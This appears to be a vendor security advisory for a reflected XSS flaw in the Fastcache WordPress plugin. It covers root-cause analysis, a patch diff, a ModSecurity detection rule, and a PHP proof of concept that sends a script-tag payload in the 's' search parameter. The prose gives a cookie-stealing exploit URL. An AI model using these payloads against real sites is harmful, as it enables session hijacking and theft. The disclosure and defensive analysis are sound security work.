Published : November 23, 2026

CVE-2026-133471: Fastcache by Host.it <= 1.7.14 Reflected Cross-Site Scripting via 's' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.7.14
Patched Version 1.7.15
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-133471: Fastcache by Host.it versions up to and including 1.7.14 contain a reflected Cross-Site Scripting (XSS) vulnerability in the Light Images feature. The flaw exists in the plugin’s HTML entity decoding logic, which mishandles ASCII entities and allows unauthenticated attackers to inject arbitrary JavaScript into pages that execute when a victim clicks a crafted link. The CVSS score is 6.1 (Medium).

The root cause lies in src/Core/LightImages.php. The plugin’s image optimizer re-serializes the entire HTML document and then decodes HTML entities. Two vulnerable functions are involved: the text node handler around line 983 and the final document output around line 1045. In both cases, the code calls html_entity_decode on serialized HTML, which converts ASCII entities such as < > and " back into live markup characters. An attacker can inject a payload into the ‘s’ search parameter. WordPress stores the search term in the page content, typically escaped as <script>. When the Light Images feature (lightimgs_status = 1) and the entity-decode branch (img_processing_entity_decode = 1) are active (the default configuration), the optimizer decodes those entities, turning the inert escaped text into an executable script tag. The vulnerable code path executes on every front-end request that triggers the optimizer, making the ‘s’ parameter a reliable injection point.

Exploitation is straightforward. An attacker crafts a URL such as https://victim-site/?s=alert(document.cookie) (URL-encoded as %3Cscript%3E…). When a victim visits this link, WordPress renders the search results page. The Light Images optimizer processes the page, decodes the escaped entities, and the script executes in the victim’s browser. The attack requires no authentication and works against any user who clicks the link. The payload can steal cookies, redirect to malicious sites, or perform actions on behalf of the victim. The default plugin settings (lightimgs_status=1 and img_processing_entity_decode=1) make this exploitable out of the box.

The patch (v1.7.15) replaces the unsafe html_entity_decode calls with a new static method decodeNonAsciiEntities in LightImages.php. This method uses a regex to decode only entities that resolve to non-ASCII characters (e.g., è to è) while leaving ASCII entities (e.g., <, >, ", ', &) untouched. For the mb_decode_numericentity branch, the patch changes the decode range from [0x0, 0x2FFFF, 0, 0xFFFF] to [0x80, 0x10FFFF, 0, 0x1FFFFF], preventing ASCII numeric references from being decoded. The patch also adds a cache purge routine (fastcache_upgrade_to_1715) to remove stale cached pages that may contain decoded entities. Before the patch, the plugin would decode all entities, turning escaped HTML into live markup. After the patch, only non-ASCII entities are decoded, so HTML-significant characters remain encoded, preventing script execution.

The impact of this vulnerability is reflected XSS. An attacker can execute arbitrary JavaScript in the context of the victim’s browser. This allows theft of session cookies, authentication tokens, and sensitive data displayed on the page. It can also be used to perform actions as the victim (e.g., modifying site content if the victim is an administrator), redirect users to phishing sites, or inject malware. The vulnerability is unauthenticated and requires user interaction (clicking a link), which limits mass exploitation but still poses a significant risk, especially for high-traffic sites or targeted attacks against administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/fastcache-by-host-it/fastcache.php
+++ b/fastcache-by-host-it/fastcache.php
@@ -16,7 +16,7 @@
  * Plugin Name:       FastCache by host.it
  * Plugin URI:        https://fastcache.host.it/wordpress/
  * Description:       Abilita il tuo sito Wordpress alla prima vera CDN realizzata PER Wordpress e configurata AD-HOC per il tuo sito. Il massimo della velocità senza difficoltà di setup.
- * Version:           1.7.14
+ * Version:           1.7.15
  * Author:            Host.it
  * Author URI:        https://fastcache.host.it/
  * License:           GPL-2.0+
@@ -44,7 +44,7 @@

 define ( '_WP_EXEC', '1' );
 define ( '_FASTCACHE_EXEC', 1 );
-define ( 'FASTCACHE_VERSION', '1.7.14' );
+define ( 'FASTCACHE_VERSION', '1.7.15' );
 define ( 'FASTCACHE_FILE_PATH', __FILE__ );

 define ( 'FASTCACHE_URL', plugin_dir_url ( FASTCACHE_FILE_PATH ) );
--- a/fastcache-by-host-it/src/Core/LightImages.php
+++ b/fastcache-by-host-it/src/Core/LightImages.php
@@ -881,6 +881,42 @@
 		return is_string($srcSetAttribute) ? $srcSetAttribute : '';
 	}

+	/**
+	 * Turns HTML entities back into UTF-8 characters, but only when the result is non-ASCII
+	 * (è -> è, € -> €, 日 -> 日). Entities for ASCII characters are left untouched.
+	 *
+	 * The optimizer re-serialises the whole page, including text that WordPress, themes and plugins
+	 * already escaped (search terms, comments, post content, attribute values, inline JSON). Decoding
+	 * < > " ' & (or their numeric forms) there would turn that inert text back into
+	 * live markup, so the allow-list is on the decoded result: every HTML-significant character is ASCII.
+	 *
+	 * @param   string  $html  Serialised HTML or a text node
+	 *
+	 * @return string
+	 */
+	public static function decodeNonAsciiEntities($html) {
+		$html = (string) $html;
+		if (strpos($html, '&') === false) {
+			return $html;
+		}
+
+		$decoded = preg_replace_callback(
+			'/&(?:#[0-9]{1,7}|#[xX][0-9A-Fa-f]{1,6}|[A-Za-z][A-Za-z0-9]{1,31});/',
+			static function ($match) {
+				$char = html_entity_decode($match[0], ENT_QUOTES, 'UTF-8');
+				// Unknown entity, or the result contains an ASCII byte: keep the entity as it is.
+				if ($char === $match[0] || preg_match('/[x00-x7F]/', $char)) {
+					return $match[0];
+				}
+				return $char;
+			},
+			$html
+		);
+
+		// preg error (e.g. backtrack limit): fail closed, entities stay encoded.
+		return $decoded === null ? $html : $decoded;
+	}
+
 	private function fetchImageData($file) {
 		if(!file_exists($file)) {
 			return array(false, 0);
@@ -947,7 +983,7 @@

 						$txt = $n->_[FASTCACHE_HDOM_INFO_TEXT] ?? '';
 						if ($txt !== '') {
-							$txt = html_entity_decode($txt, ENT_QUOTES, 'UTF-8');
+							$txt = self::decodeNonAsciiEntities($txt);

 							$n->_[FASTCACHE_HDOM_INFO_TEXT] = $txt;
 						}
@@ -1009,9 +1045,10 @@

 			if($this->params->get('img_processing_entity_decode', 1)) {
 				if($this->params->get('img_processing_utf8_entity_decode', 0)) {
-					return mb_decode_numericentity($doc->saveHTML(), [0x0, 0x2FFFF, 0, 0xFFFF], 'UTF-8');
+					// Only code points >= 0x80: numeric references to ASCII (< > " ...) must stay encoded.
+					return mb_decode_numericentity($doc->saveHTML(), [0x80, 0x10FFFF, 0, 0x1FFFFF], 'UTF-8');
 				} else {
-					return html_entity_decode($doc->saveHTML(), ENT_QUOTES, 'UTF-8');
+					return self::decodeNonAsciiEntities($doc->saveHTML());
 				}
 			} else {
 				return $doc->saveHTML();
--- a/fastcache-by-host-it/src/Dispatcher.php
+++ b/fastcache-by-host-it/src/Dispatcher.php
@@ -278,7 +278,8 @@
 		}

 		$upgrades = [
-				'1.5.5' => 'fastcache_upgrade_to_155'
+				'1.5.5' => 'fastcache_upgrade_to_155',
+				'1.7.15' => 'fastcache_upgrade_to_1715'
 		];

 		foreach ( $upgrades as $version => $method ) {
@@ -346,6 +347,20 @@
 	public static function fastcache_upgrade_to_155() {
 		Tasks::cleanHtaccess ();
 	}
+
+	/**
+	 * Pages stored by older releases may contain text whose HTML entities were decoded by the image
+	 * optimizer: drop the page cache so every page is rebuilt by the current code. This runs on
+	 * plugins_loaded, i.e. on the first request that reaches PHP after the update (front-end, cron or
+	 * admin), without waiting for somebody to open wp-admin.
+	 */
+	public static function fastcache_upgrade_to_1715() {
+		try {
+			Cache::deletePageCacheDir ();
+		} catch ( Throwable $e ) {
+			// Never break the request because of the purge: stale files still expire through the hourly prune.
+		}
+	}
 	public static function loadPluginTextDomain() {
 		load_plugin_textdomain ( 'fastcache', false, basename ( dirname ( FASTCACHE_FILE_PATH ) ) . '/languages' );
 	}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-133471
SecRule REQUEST_URI "@streq /" 
  "id:2026133471,phase:2,deny,status:403,chain,msg:'CVE-2026-133471 via Fastcache reflected XSS in s parameter',severity:'CRITICAL',tag:'CVE-2026-133471'"
  SecRule ARGS_GET:s "@rx (?i)(?:<|%3C|�*60;|�*3c;)(?:script|img|svg|iframe|object|embed|body|input|form|details|video|audio|source|link|meta|style|base|applet|frame|frameset|template|math|marquee|select|textarea|button|title|noscript|noembed|noframes|plaintext|listing|xmp|isindex|keygen|track|param|canvas|map|area|col|colgroup|thead|tbody|tfoot|tr|td|th|caption|h1|h2|h3|h4|h5|h6|pre|code|samp|kbd|var|cite|q|dfn|abbr|acronym|address|bdo|big|blink|center|dir|font|tt|strike|u|s|small|sub|sup|span|div|p|br|hr|li|ul|ol|dl|dt|dd|table|fieldset|legend|label|option|optgroup|datalist|output|progress|meter|time|mark|ruby|rt|rp|bdi|wbr|picture|slot|portal|dialog|menu|menuitem|summary|main|article|aside|header|footer|nav|section|figure|figcaption|blockquote)" 
  "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-133471 - Fastcache by Host.it <= 1.7.14 - Reflected Cross-Site Scripting via 's' Parameter

// Configure the target URL (WordPress site with vulnerable plugin active)
$target_url = 'http://example.com';

// Payload: JavaScript to execute. This will be reflected in the search results page.
$payload = '<script>alert("XSS via CVE-2026-133471")</script>';

// Build the malicious URL with the 's' parameter
$url = $target_url . '/?s=' . urlencode($payload);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Atomic Edge PoC)');

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($response === false) {
    die("Request failedn");
}

// Check if the payload appears unescaped in the response (vulnerable)
if (strpos($response, $payload) !== false) {
    echo "[+] Vulnerable: Payload found unescaped in response.n";
    echo "    The site is likely running Fastcache <= 1.7.14 with default settings.n";
} else {
    // Check if the payload appears escaped (patched or non-vulnerable)
    $escaped_payload = htmlspecialchars($payload, ENT_QUOTES, 'UTF-8');
    if (strpos($response, $escaped_payload) !== false) {
        echo "[-] Not vulnerable: Payload is escaped.n";
    } else {
        echo "[?] Inconclusive: Payload not found in response. Check manually.n";
    }
}

// Save response for manual inspection
echo "nHTTP Status: $http_coden";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.